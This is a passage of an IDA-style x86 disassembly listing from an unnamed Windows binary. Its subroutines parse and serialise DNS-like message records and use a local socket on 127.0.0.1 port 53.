		movzx	eax, byte ptr [edi+3]
		and	eax, 0Fh
		mov	[esi+10h], eax
		movzx	ax, byte ptr [edi+4]
		movzx	cx, byte ptr [edi+5]
		shl	ax, 8
		add	ax, cx
		mov	[esi+14h], ax
		movzx	ax, byte ptr [edi+6]
		movzx	cx, byte ptr [edi+7]
		shl	ax, 8
		add	ax, cx
		mov	[esi+16h], ax
		movzx	ax, byte ptr [edi+8]
		movzx	cx, byte ptr [edi+9]
		shl	ax, 8
		add	ax, cx
		mov	[esi+18h], ax
		movzx	ax, byte ptr [edi+0Ah]
		movzx	cx, byte ptr [edi+0Bh]
		shl	ax, 8
		add	ax, cx
		mov	[esi+1Ah], ax
		lea	eax, [edi+0Ch]
		mov	[ebp+var_8], eax
		movzx	eax, word ptr [esi+14h]
		test	ax, ax
		jbe	short loc_414CDE
		movzx	eax, ax
		push	4
		push	eax
		call	sub_40CC93
		test	eax, eax
		pop	ecx
		pop	ecx
		mov	[esi+1Ch], eax
		jz	loc_414E4B
		xor	ebx, ebx
		cmp	[esi+14h], bx
		jbe	short loc_414CDE


loc_414C95:				; CODE XREF: sub_414B68+174j
		push	110h
		push	1
		call	sub_40CC93
		pop	ecx
		pop	ecx
		mov	ecx, [esi+1Ch]
		mov	[ecx+ebx*4], eax
		mov	eax, [esi+1Ch]
		lea	eax, [eax+ebx*4]
		cmp	dword ptr [eax], 0
		jz	loc_414E4B
		mov	ecx, [ebp+arg_4]
		add	ecx, edi
		push	ecx
		push	edi
		lea	ecx, [ebp+var_8]
		push	ecx
		push	dword ptr [eax]
		mov	ecx, [ebp+var_4]
		call	sub_4148A8
		test	eax, eax
		jnz	loc_414E4B
		movzx	eax, word ptr [esi+14h]
		inc	ebx
		cmp	ebx, eax
		jl	short loc_414C95


loc_414CDE:				; CODE XREF: sub_414B68+10Bj
					; sub_414B68+12Bj
		movzx	eax, word ptr [esi+16h]
		test	ax, ax
		mov	ebx, 114h
		jbe	short loc_414D5C
		movzx	eax, ax
		push	4
		push	eax
		call	sub_40CC93
		test	eax, eax
		pop	ecx
		pop	ecx
		mov	[esi+20h], eax
		jz	loc_414E4B
		and	[ebp+arg_0], 0
		cmp	word ptr [esi+16h], 0
		jbe	short loc_414D5C


loc_414D0F:				; CODE XREF: sub_414B68+1F2j
		push	ebx
		push	1
		call	sub_40CC93
		mov	edx, [ebp+arg_0]
		pop	ecx
		pop	ecx
		mov	ecx, [esi+20h]
		mov	[ecx+edx*4], eax
		mov	eax, [esi+20h]
		mov	ecx, edx
		lea	eax, [eax+ecx*4]
		cmp	dword ptr [eax], 0
		jz	loc_414E4B
		mov	ecx, [ebp+arg_4]
		add	ecx, edi
		push	ecx
		push	edi
		lea	ecx, [ebp+var_8]
		push	ecx
		push	dword ptr [eax]
		mov	ecx, [ebp+var_4]
		call	sub_414787
		test	eax, eax
		jnz	loc_414E4B
		movzx	eax, word ptr [esi+16h]
		inc	[ebp+arg_0]
		cmp	[ebp+arg_0], eax
		jl	short loc_414D0F


loc_414D5C:				; CODE XREF: sub_414B68+182j
					; sub_414B68+1A5j
		movzx	eax, word ptr [esi+18h]
		test	ax, ax
		jbe	short loc_414DD5
		movzx	eax, ax
		push	4
		push	eax
		call	sub_40CC93
		test	eax, eax
		pop	ecx
		pop	ecx
		mov	[esi+24h], eax
		jz	loc_414E4B
		and	[ebp+arg_0], 0
		cmp	word ptr [esi+18h], 0
		jbe	short loc_414DD5


loc_414D88:				; CODE XREF: sub_414B68+26Bj
		push	ebx
		push	1
		call	sub_40CC93
		mov	edx, [ebp+arg_0]
		pop	ecx
		pop	ecx
		mov	ecx, [esi+24h]
		mov	[ecx+edx*4], eax
		mov	eax, [esi+24h]
		mov	ecx, edx
		lea	eax, [eax+ecx*4]
		cmp	dword ptr [eax], 0
		jz	loc_414E4B
		mov	ecx, [ebp+arg_4]
		add	ecx, edi
		push	ecx
		push	edi
		lea	ecx, [ebp+var_8]
		push	ecx
		push	dword ptr [eax]
		mov	ecx, [ebp+var_4]
		call	sub_414787
		test	eax, eax
		jnz	loc_414E4B
		movzx	eax, word ptr [esi+18h]
		inc	[ebp+arg_0]
		cmp	[ebp+arg_0], eax
		jl	short loc_414D88


loc_414DD5:				; CODE XREF: sub_414B68+1FBj
					; sub_414B68+21Ej
		movzx	eax, word ptr [esi+1Ah]
		test	ax, ax
		jbe	short loc_414E42
		movzx	eax, ax
		push	4
		push	eax
		call	sub_40CC93
		test	eax, eax
		pop	ecx
		pop	ecx
		mov	[esi+28h], eax
		jz	short loc_414E4B
		and	[ebp+arg_0], 0
		cmp	word ptr [esi+1Ah], 0
		jbe	short loc_414E42


loc_414DFD:				; CODE XREF: sub_414B68+2D8j
		push	ebx
		push	1
		call	sub_40CC93
		mov	edx, [ebp+arg_0]
		pop	ecx
		pop	ecx
		mov	ecx, [esi+28h]
		mov	[ecx+edx*4], eax
		mov	eax, [esi+28h]
		mov	ecx, edx
		lea	eax, [eax+ecx*4]
		cmp	dword ptr [eax], 0
		jz	short loc_414E4B
		mov	ecx, [ebp+arg_4]
		add	ecx, edi
		push	ecx
		push	edi
		lea	ecx, [ebp+var_8]
		push	ecx
		push	dword ptr [eax]
		mov	ecx, [ebp+var_4]
		call	sub_414787
		test	eax, eax
		jnz	short loc_414E4B
		movzx	eax, word ptr [esi+1Ah]
		inc	[ebp+arg_0]
		cmp	[ebp+arg_0], eax
		jl	short loc_414DFD


loc_414E42:				; CODE XREF: sub_414B68+274j
					; sub_414B68+293j
		mov	eax, esi


loc_414E44:				; CODE XREF: sub_414B68+2EEj
		pop	edi
		pop	ebx


loc_414E46:				; CODE XREF: sub_414B68+25j
		pop	esi

locret_414E47:				; CODE XREF: sub_414B68+10j
		leave
		retn	8
; ---------------------------------------------------------------------------


loc_414E4B:				; CODE XREF: sub_414B68+11Fj
					; sub_414B68+14Aj ...
		mov	ecx, [ebp+var_4]
		push	esi
		call	sub_414592
		xor	eax, eax
		jmp	short loc_414E44
sub_414B68	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414E58	proc near		; CODE XREF: sub_415F7D+19Ap

var_1008	= byte ptr -1008h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 1008h
		call	sub_4011B0
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx
		cmp	edi, ebx
		mov	[ebp+var_4], ecx
		mov	[ebp+var_8], eax
		jnz	short loc_414E87
		lea	edi, [ebp+var_1008]
		mov	[ebp+arg_4], 1000h


loc_414E87:				; CODE XREF: sub_414E58+20j
		mov	esi, [ebp+arg_8]
		mov	al, [esi+1]
		mov	[edi], al
		mov	al, [esi]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	cl, [esi+4]
		shl	al, 4
		sub	cl, al
		add	cl, cl
		add	cl, [esi+8]
		add	cl, cl
		add	cl, [esi+9]
		add	cl, cl
		add	cl, [esi+0Ah]
		mov	[edi+2], cl
		mov	al, [esi+0Bh]
		mov	cl, [esi+0Ch]
		add	al, al
		sub	cl, al
		add	cl, cl
		add	cl, [esi+0Dh]
		add	cl, cl
		add	cl, [esi+0Eh]
		shl	cl, 4
		add	cl, [esi+10h]
		mov	[edi+3], cl
		mov	al, [esi+15h]
		mov	[edi+4], al
		mov	al, [esi+14h]
		mov	[edi+5], al
		mov	al, [esi+17h]
		mov	[edi+6], al
		mov	al, [esi+16h]
		mov	[edi+7], al
		mov	al, [esi+19h]
		mov	[edi+8], al
		mov	al, [esi+18h]
		mov	[edi+9], al
		mov	al, [esi+1Bh]
		mov	[edi+0Ah], al
		mov	al, [esi+1Ah]
		mov	[edi+0Bh], al
		cmp	[esi+14h], bx
		lea	eax, [edi+0Ch]
		mov	[ebp+arg_0], eax
		jbe	short loc_414F36


loc_414F0A:				; CODE XREF: sub_414E58+DCj
		mov	eax, [esi+1Ch]
		test	eax, eax
		jz	short loc_414F2D
		lea	eax, [eax+ebx*4]
		cmp	dword ptr [eax], 0
		jz	short loc_414F2D
		push	dword ptr [eax]
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		add	eax, edi
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_414AD3


loc_414F2D:				; CODE XREF: sub_414E58+B7j
					; sub_414E58+BFj
		movzx	eax, word ptr [esi+14h]
		inc	ebx
		cmp	ebx, eax
		jl	short loc_414F0A


loc_414F36:				; CODE XREF: sub_414E58+B0j
		xor	ebx, ebx
		cmp	[esi+16h], bx
		jbe	short loc_414F6A


loc_414F3E:				; CODE XREF: sub_414E58+110j
		mov	eax, [esi+20h]
		test	eax, eax
		jz	short loc_414F61
		lea	eax, [eax+ebx*4]
		cmp	dword ptr [eax], 0
		jz	short loc_414F61
		push	dword ptr [eax]
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		add	eax, edi
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_4149C4


loc_414F61:				; CODE XREF: sub_414E58+EBj
					; sub_414E58+F3j
		movzx	eax, word ptr [esi+16h]
		inc	ebx
		cmp	ebx, eax
		jl	short loc_414F3E


loc_414F6A:				; CODE XREF: sub_414E58+E4j
		xor	ebx, ebx
		cmp	[esi+18h], bx
		jbe	short loc_414F9E


loc_414F72:				; CODE XREF: sub_414E58+144j
		mov	eax, [esi+24h]
		test	eax, eax
		jz	short loc_414F95
		lea	eax, [eax+ebx*4]
		cmp	dword ptr [eax], 0
		jz	short loc_414F95
		push	dword ptr [eax]
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		add	eax, edi
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_4149C4


loc_414F95:				; CODE XREF: sub_414E58+11Fj
					; sub_414E58+127j
		movzx	eax, word ptr [esi+18h]
		inc	ebx
		cmp	ebx, eax
		jl	short loc_414F72


loc_414F9E:				; CODE XREF: sub_414E58+118j
		xor	ebx, ebx
		cmp	[esi+1Ah], bx
		jbe	short loc_414FD2


loc_414FA6:				; CODE XREF: sub_414E58+178j
		mov	eax, [esi+28h]
		test	eax, eax
		jz	short loc_414FC9
		lea	eax, [eax+ebx*4]
		cmp	dword ptr [eax], 0
		jz	short loc_414FC9
		push	dword ptr [eax]
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		add	eax, edi
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_4149C4


loc_414FC9:				; CODE XREF: sub_414E58+153j
					; sub_414E58+15Bj
		movzx	eax, word ptr [esi+1Ah]
		inc	ebx
		cmp	ebx, eax
		jl	short loc_414FA6


loc_414FD2:				; CODE XREF: sub_414E58+14Cj
		mov	eax, [ebp+arg_0]
		sub	eax, edi
		cmp	eax, [ebp+var_8]
		pop	edi
		pop	esi
		pop	ebx
		jle	short locret_414FE7
		cmp	[ebp+var_8], 0
		jle	short locret_414FE7
		xor	eax, eax

locret_414FE7:				; CODE XREF: sub_414E58+185j
					; sub_414E58+18Bj
		leave
		retn	0Ch
sub_414E58	endp


; =============== S U B	R O U T	I N E =======================================



sub_414FEB	proc near		; CODE XREF: sub_415D96+41p
					; sub_415D96+91p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		mov	eax, [ecx]
		cmp	eax, [esp+arg_4]
		jge	short loc_414FFB
		xor	al, al
		jmp	short locret_415003
; ---------------------------------------------------------------------------


loc_414FFB:				; CODE XREF: sub_414FEB+Aj
		sub	eax, [esp+arg_4]
		mov	[ecx], eax
		mov	al, 1

locret_415003:				; CODE XREF: sub_414FEB+Ej
		retn	8
sub_414FEB	endp


; =============== S U B	R O U T	I N E =======================================



sub_415006	proc near		; DATA XREF: .rdata:off_4202ACo

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	esi, ecx
		lea	edi, [esi+10h]
		push	edi
		call	ds:dword_4180DC
		push	10h
		push	[esp+0Ch+arg_0]
		lea	ecx, [esi+44h]
		push	0
		push	[esp+14h+arg_8]
		push	[esp+18h+arg_4]
		call	sub_40D83F
		push	edi
		mov	esi, eax
		call	ds:dword_4180E0
		pop	edi
		mov	eax, esi
		pop	esi
		retn	0Ch
sub_415006	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41503C	proc near		; CODE XREF: sub_415F7D+11Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_4]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	eax, [esi+1Ch]
		xor	ebx, ebx
		push	ebx
		mov	[ebp+var_4], ebx
		mov	eax, [eax+ecx*4]
		lea	ecx, [ebp+var_4]
		push	ecx
		movzx	ecx, word ptr [eax+100h]
		push	ebx
		push	ebx
		push	ecx
		push	eax
		call	sub_4177E8
		test	eax, eax
		jl	loc_41517D
		mov	eax, [ebp+var_4]
		cmp	eax, ebx
		jz	loc_41517D
		movzx	ecx, word ptr [esi+16h]
		mov	[ebp+arg_0], ecx


loc_415082:				; CODE XREF: sub_41503C+52j
		inc	word ptr [esi+16h]
		mov	eax, [eax]
		cmp	eax, ebx
		movzx	ecx, word ptr [esi+16h]
		jnz	short loc_415082
		movzx	eax, cx
		mov	ecx, [esi+20h]
		shl	eax, 2
		cmp	ecx, ebx
		push	eax
		jnz	short loc_4150A5
		call	sub_40CC7F
		jmp	short loc_4150AC
; ---------------------------------------------------------------------------


loc_4150A5:				; CODE XREF: sub_41503C+60j
		push	ecx
		call	sub_40CCAD
		pop	ecx


loc_4150AC:				; CODE XREF: sub_41503C+67j
		pop	ecx
		push	edi
		mov	edi, [ebp+var_4]
		cmp	edi, ebx
		mov	[esi+20h], eax
		jz	loc_41516E
		mov	ebx, [ebp+arg_0]
		shl	ebx, 2


loc_4150C2:				; CODE XREF: sub_41503C+12Cj
		push	114h
		push	1
		call	sub_40CC93
		mov	ecx, [esi+20h]
		mov	[ebx+ecx], eax
		mov	eax, [esi+20h]
		mov	eax, [eax+ebx]
		mov	dword ptr [eax+104h], 1
		mov	eax, [esi+20h]
		mov	eax, [eax+ebx]
		mov	ecx, [edi+10h]
		mov	[eax+108h], ecx
		movzx	eax, word ptr [edi+8]
		mov	ecx, [esi+20h]
		mov	ecx, [ecx+ebx]
		mov	[ecx+100h], eax
		push	dword ptr [edi+4]
		mov	eax, [esi+20h]
		push	dword ptr [eax+ebx]
		call	sub_40CD8E
		movzx	eax, word ptr [edi+8]
		add	esp, 10h
		dec	eax
		jnz	short loc_415161
		mov	eax, [esi+20h]
		mov	eax, [eax+ebx]
		mov	cx, [edi+0Ah]
		mov	[eax+10Ch], cx
		movzx	eax, word ptr [edi+0Ah]
		push	eax
		push	1
		call	sub_40CC93
		mov	ecx, [esi+20h]
		mov	ecx, [ecx+ebx]
		mov	[ecx+110h], eax
		movzx	eax, word ptr [edi+0Ah]
		push	eax
		lea	eax, [edi+18h]
		push	eax
		mov	eax, [esi+20h]
		mov	eax, [eax+ebx]
		push	dword ptr [eax+110h]
		call	sub_40CCF7
		add	esp, 14h


loc_415161:				; CODE XREF: sub_41503C+DDj
		mov	edi, [edi]
		add	ebx, 4
		test	edi, edi
		jnz	loc_4150C2


loc_41516E:				; CODE XREF: sub_41503C+7Aj
		push	1
		push	[ebp+var_4]
		call	sub_4177E2
		mov	al, 1
		pop	edi
		jmp	short loc_41517F
; ---------------------------------------------------------------------------


loc_41517D:				; CODE XREF: sub_41503C+2Ej
					; sub_41503C+39j
		xor	al, al


loc_41517F:				; CODE XREF: sub_41503C+13Fj
		pop	esi
		pop	ebx
		leave
		retn	8
sub_41503C	endp


; =============== S U B	R O U T	I N E =======================================



sub_415185	proc near		; CODE XREF: sub_4155DF+9Ap
					; sub_4155DF+E9p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	2Eh
		push	[esp+8+arg_0]
		call	sub_40CEE6
		mov	esi, eax
		test	esi, esi
		pop	ecx
		pop	ecx
		jnz	short loc_41519D
		xor	al, al
		jmp	short loc_4151C7
; ---------------------------------------------------------------------------


loc_41519D:				; CODE XREF: sub_415185+12j
		push	2Eh
		push	[esp+8+arg_0]
		mov	byte ptr [esi],	0
		call	sub_40CEE6
		test	eax, eax
		pop	ecx
		pop	ecx
		mov	byte ptr [esi],	2Eh
		jnz	short loc_4151BA
		mov	eax, [esp+4+arg_0]
		jmp	short loc_4151BB
; ---------------------------------------------------------------------------


loc_4151BA:				; CODE XREF: sub_415185+2Dj
		inc	eax


loc_4151BB:				; CODE XREF: sub_415185+33j
		mov	ecx, [esp+4+arg_4]
		push	eax
		call	sub_4012E7
		mov	al, 1


loc_4151C7:				; CODE XREF: sub_415185+16j
		pop	esi
		retn	8
sub_415185	endp


; =============== S U B	R O U T	I N E =======================================



sub_4151CB	proc near		; CODE XREF: sub_4045DD+7Ap
					; sub_4045DD+116p ...

arg_0		= dword	ptr  4

		push	esi
		push	0Ch
		mov	esi, ecx
		call	sub_40D0BB
		and	dword ptr [eax+8], 0
		pop	ecx
		mov	ecx, [esp+4+arg_0]
		mov	[eax], ecx
		mov	ecx, [esi]
		mov	[eax+4], ecx
		mov	ecx, [esi]
		test	ecx, ecx
		jz	short loc_4151EE
		mov	[ecx+8], eax


loc_4151EE:				; CODE XREF: sub_4151CB+1Ej
		mov	[esi], eax
		add	esi, 4
		push	esi
		call	ds:dword_4180E4
		pop	esi
		retn	4
sub_4151CB	endp


; =============== S U B	R O U T	I N E =======================================



sub_4151FE	proc near		; DATA XREF: sub_40174B+1Bo
					; sub_40177E+17o ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi]
		push	dword ptr [esi+4]
		mov	ecx, [eax+8]
		call	dword ptr [eax+0Ch]
		push	esi
		call	sub_40D0B6
		pop	ecx
		xor	eax, eax
		pop	esi
		retn	4
sub_4151FE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41521B	proc near		; CODE XREF: sub_41537B+3p
		push	esi
		push	0
		push	offset dword_421D40
		mov	esi, ecx
		call	ds:dword_4180F0
		push	0
		push	35h
		lea	ecx, [esi+44h]
		call	sub_40DA80
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		mov	al, cl
		pop	esi
		retn
sub_41521B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415243	proc near		; CODE XREF: sub_416130+Ap

var_14		= byte ptr -14h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	35h
		mov	esi, ecx
		push	7F000001h
		lea	ecx, [ebp+var_14]
		call	sub_401219
		mov	eax, [esi]
		push	4
		lea	ecx, [ebp+var_4]
		push	ecx
		lea	ecx, [ebp+var_14]
		push	ecx
		mov	ecx, esi
		mov	[ebp+var_4], 3DA712EBh
		call	dword ptr [eax]
		push	dword ptr [esi+40h]
		call	ds:dword_4180A8
		pop	esi
		leave
		retn
sub_415243	endp


; =============== S U B	R O U T	I N E =======================================



sub_41527E	proc near		; CODE XREF: sub_415D96+195p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		push	edi
		push	0Ch
		mov	esi, ecx
		call	sub_40D0BB
		test	eax, eax
		pop	ecx
		jz	short loc_4152AA
		push	[esp+0Ch+arg_C]
		mov	ecx, eax
		push	[esp+10h+arg_8]
		push	[esp+14h+arg_4]
		push	[esp+18h+arg_0]
		call	sub_41443E
		mov	ebx, eax
		jmp	short loc_4152AC
; ---------------------------------------------------------------------------


loc_4152AA:				; CODE XREF: sub_41527E+Fj
		xor	ebx, ebx


loc_4152AC:				; CODE XREF: sub_41527E+2Aj
		lea	edi, [esi+28h]
		push	edi
		call	ds:dword_4180DC
		push	ebx
		lea	ecx, [esi+8]
		call	sub_4151CB
		push	edi
		call	ds:dword_4180E0
		pop	edi
		pop	esi
		pop	ebx
		retn	10h
sub_41527E	endp


; =============== S U B	R O U T	I N E =======================================



sub_4152CC	proc near		; CODE XREF: sub_415417+1Dp
					; sub_4154AD+10Cp ...
		push	esi
		mov	esi, ecx
		lea	ecx, [esi+8]
		call	sub_4093F0
		mov	ecx, esi
		pop	esi
		jmp	sub_40DB59
sub_4152CC	endp


; =============== S U B	R O U T	I N E =======================================



sub_4152DF	proc near		; CODE XREF: sub_41570A+3E4p
					; sub_41570A+5B2p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	114h
		inc	ebx
		push	ebx
		call	sub_40CC93
		mov	edi, [esp+14h+arg_0]
		mov	esi, eax
		mov	eax, [esp+14h+arg_4]
		and	dword ptr [esi+108h], 0
		test	eax, eax
		pop	ecx
		pop	ecx
		mov	[esi+104h], ebx
		mov	[esi+100h], ebx
		jnz	short loc_415315
		mov	eax, [edi]


loc_415315:				; CODE XREF: sub_4152DF+32j
		push	eax
		push	esi
		call	sub_40CD8E
		push	4
		push	ebx
		mov	word ptr [esi+10Ch], 4
		call	sub_40CC93
		mov	[esi+110h], eax
		mov	ebx, [edi+8]
		call	sub_40CF34
		xor	edx, edx
		div	dword ptr [ebx]
		movzx	eax, word ptr [esi+10Ch]
		push	eax
		mov	eax, [edi+8]
		lea	eax, [eax+edx*4+4]
		push	eax
		push	dword ptr [esi+110h]
		call	sub_40CCF7
		add	esp, 1Ch
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		retn	8
sub_4152DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_415365	proc near		; CODE XREF: sub_416130+29p

arg_0		= dword	ptr  4

		jmp	short loc_415371
; ---------------------------------------------------------------------------


loc_415367:				; CODE XREF: sub_415365+13j
		push	[esp+arg_0]
		call	ds:dword_4180C8


loc_415371:				; CODE XREF: sub_415365j
		cmp	dword_421D40, 0
		jg	short loc_415367
		retn
sub_415365	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41537B	proc near		; CODE XREF: sub_406E37+1EDp
		push	esi
		mov	esi, ecx
		call	sub_41521B
		test	al, al
		jnz	short loc_415389
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_415389:				; CODE XREF: sub_41537B+Aj
		push	0
		lea	ecx, [esi+50h]
		call	sub_40174B
		mov	al, 1
		pop	esi
		retn
sub_41537B	endp


; =============== S U B	R O U T	I N E =======================================



sub_415397	proc near		; CODE XREF: sub_4154AD+BEp
					; sub_4155DF+C0p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	esi, ecx
		lea	edi, [esi+28h]
		push	edi
		call	ds:dword_4180DC
		mov	esi, [esi+8]
		jmp	short loc_4153C4
; ---------------------------------------------------------------------------


loc_4153AA:				; CODE XREF: sub_415397+2Fj
		mov	eax, [esi]
		push	[esp+8+arg_0]
		mov	eax, [eax]
		push	eax
		call	ds:dword_418034
		test	eax, eax
		jz	short loc_4153CC
		test	esi, esi
		jz	short loc_4153C8
		mov	esi, [esi+4]


loc_4153C4:				; CODE XREF: sub_415397+11j
		test	esi, esi
		jnz	short loc_4153AA


loc_4153C8:				; CODE XREF: sub_415397+28j
		xor	esi, esi
		jmp	short loc_415409
; ---------------------------------------------------------------------------


loc_4153CC:				; CODE XREF: sub_415397+24j
		mov	eax, [esp+8+arg_8]
		test	eax, eax
		jz	short loc_4153D6
		mov	[eax], esi


loc_4153D6:				; CODE XREF: sub_415397+3Bj
		cmp	[esp+8+arg_4], 0
		jz	short loc_4153FD
		push	0Ch
		call	sub_40D0BB
		test	eax, eax
		pop	ecx
		jz	short loc_415405
		test	esi, esi
		jz	short loc_4153F1
		mov	esi, [esi]
		jmp	short loc_4153F3
; ---------------------------------------------------------------------------


loc_4153F1:				; CODE XREF: sub_415397+54j
		xor	esi, esi


loc_4153F3:				; CODE XREF: sub_415397+58j
		push	esi
		mov	ecx, eax
		call	sub_4144B5
		jmp	short loc_415407
; ---------------------------------------------------------------------------


loc_4153FD:				; CODE XREF: sub_415397+44j
		test	esi, esi
		jz	short loc_415405
		mov	eax, [esi]
		jmp	short loc_415407
; ---------------------------------------------------------------------------


loc_415405:				; CODE XREF: sub_415397+50j
					; sub_415397+68j
		xor	eax, eax


loc_415407:				; CODE XREF: sub_415397+64j
					; sub_415397+6Cj
		mov	esi, eax


loc_415409:				; CODE XREF: sub_415397+33j
		push	edi
		call	ds:dword_4180E0
		pop	edi
		mov	eax, esi
		pop	esi
		retn	0Ch
sub_415397	endp


; =============== S U B	R O U T	I N E =======================================



sub_415417	proc near		; CODE XREF: sub_4154AD+3Ep

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		mov	esi, [ebx]
		test	esi, esi
		jz	short loc_415452
		push	edi


loc_415424:				; CODE XREF: sub_415417+38j
		test	esi, esi
		jz	short loc_41542C
		mov	edi, [esi]
		jmp	short loc_41542E
; ---------------------------------------------------------------------------


loc_41542C:				; CODE XREF: sub_415417+Fj
		xor	edi, edi


loc_41542E:				; CODE XREF: sub_415417+13j
		test	edi, edi
		jz	short loc_415440
		mov	ecx, edi
		call	sub_4152CC
		push	edi
		call	sub_40D0B6
		pop	ecx


loc_415440:				; CODE XREF: sub_415417+19j
		mov	edi, [esi+4]
		push	esi
		mov	ecx, ebx
		call	sub_4041B2
		test	edi, edi
		mov	esi, edi
		jnz	short loc_415424
		pop	edi


loc_415452:				; CODE XREF: sub_415417+Aj
		pop	esi
		pop	ebx
		retn	4
sub_415417	endp


; =============== S U B	R O U T	I N E =======================================



sub_415457	proc near		; CODE XREF: sub_4154AD+29p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	esi, ecx
		lea	edi, [esi+28h]
		push	edi
		call	ds:dword_4180DC
		mov	esi, [esi+8]
		jmp	short loc_41549D
; ---------------------------------------------------------------------------


loc_41546A:				; CODE XREF: sub_415457+48j
		push	0Ch
		call	sub_40D0BB
		test	eax, eax
		pop	ecx
		jz	short loc_41548A
		test	esi, esi
		jz	short loc_41547E
		mov	edx, [esi]
		jmp	short loc_415480
; ---------------------------------------------------------------------------


loc_41547E:				; CODE XREF: sub_415457+21j
		xor	edx, edx


loc_415480:				; CODE XREF: sub_415457+25j
		push	edx
		mov	ecx, eax
		call	sub_4144B5
		jmp	short loc_41548C
; ---------------------------------------------------------------------------


loc_41548A:				; CODE XREF: sub_415457+1Dj
		xor	eax, eax


loc_41548C:				; CODE XREF: sub_415457+31j
		mov	ecx, [esp+8+arg_0]
		push	eax
		call	sub_4151CB
		test	esi, esi
		jz	short loc_4154A1
		mov	esi, [esi+4]


loc_41549D:				; CODE XREF: sub_415457+11j
		test	esi, esi
		jnz	short loc_41546A


loc_4154A1:				; CODE XREF: sub_415457+41j
		push	edi
		call	ds:dword_4180E0
		pop	edi
		pop	esi
		retn	4
sub_415457	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4154AD	proc near		; DATA XREF: sub_41634A+5Co

var_418		= dword	ptr -418h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1

		push	ebp
		mov	ebp, esp
		sub	esp, 418h
		push	ebx
		push	esi
		push	edi
		mov	edi, ds:dword_4180B0
		mov	esi, ecx
		mov	ebx, 3A98h
		jmp	short loc_4154F0
; ---------------------------------------------------------------------------


loc_4154C8:				; CODE XREF: sub_4154AD+4Dj
		and	[ebp+var_18], 0
		and	[ebp+var_14], 0
		lea	eax, [ebp+var_18]
		push	eax
		mov	ecx, esi
		call	sub_415457
		mov	eax, [ebp+var_18]
		test	eax, eax
		mov	[ebp+var_C], eax
		jnz	short loc_415503
		lea	eax, [ebp+var_18]
		push	eax
		mov	ecx, esi
		call	sub_415417


loc_4154F0:				; CODE XREF: sub_4154AD+19j
		push	1
		push	ebx
		push	dword ptr [esi+40h]
		call	edi
		test	eax, eax
		jnz	short loc_4154C8
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_415503:				; CODE XREF: sub_4154AD+36j
					; sub_4154AD+9Ej ...
		xor	ebx, ebx
		mov	[ebp+var_1], 0
		mov	[ebp+var_8], ebx


loc_41550C:				; CODE XREF: sub_4154AD+98j
		mov	eax, [ebp+var_C]
		mov	eax, [eax]
		mov	ecx, [eax+8]
		cmp	ebx, [ecx]
		jnb	short loc_415547
		mov	eax, ecx
		mov	edi, [eax+ebx*4+4]
		mov	ecx, [esi+4]
		mov	eax, [ecx]
		push	edi
		call	dword ptr [eax]
		test	al, al
		jnz	short loc_415544
		mov	eax, [ebp+var_8]
		inc	[ebp+var_8]
		cmp	[ebp+var_8], 100h
		mov	[ebp+var_1], 1
		mov	[ebp+eax*4+var_418], edi
		jz	short loc_41554D


loc_415544:				; CODE XREF: sub_4154AD+7Bj
		inc	ebx
		jmp	short loc_41550C
; ---------------------------------------------------------------------------


loc_415547:				; CODE XREF: sub_4154AD+69j
		cmp	[ebp+var_1], 0
		jz	short loc_415503


loc_41554D:				; CODE XREF: sub_4154AD+95j
		lea	eax, [esi+28h]
		push	eax
		call	ds:dword_4180DC
		mov	eax, [ebp+var_C]
		mov	eax, [eax]
		mov	eax, [eax]
		lea	ecx, [ebp+var_10]
		push	ecx
		xor	ebx, ebx
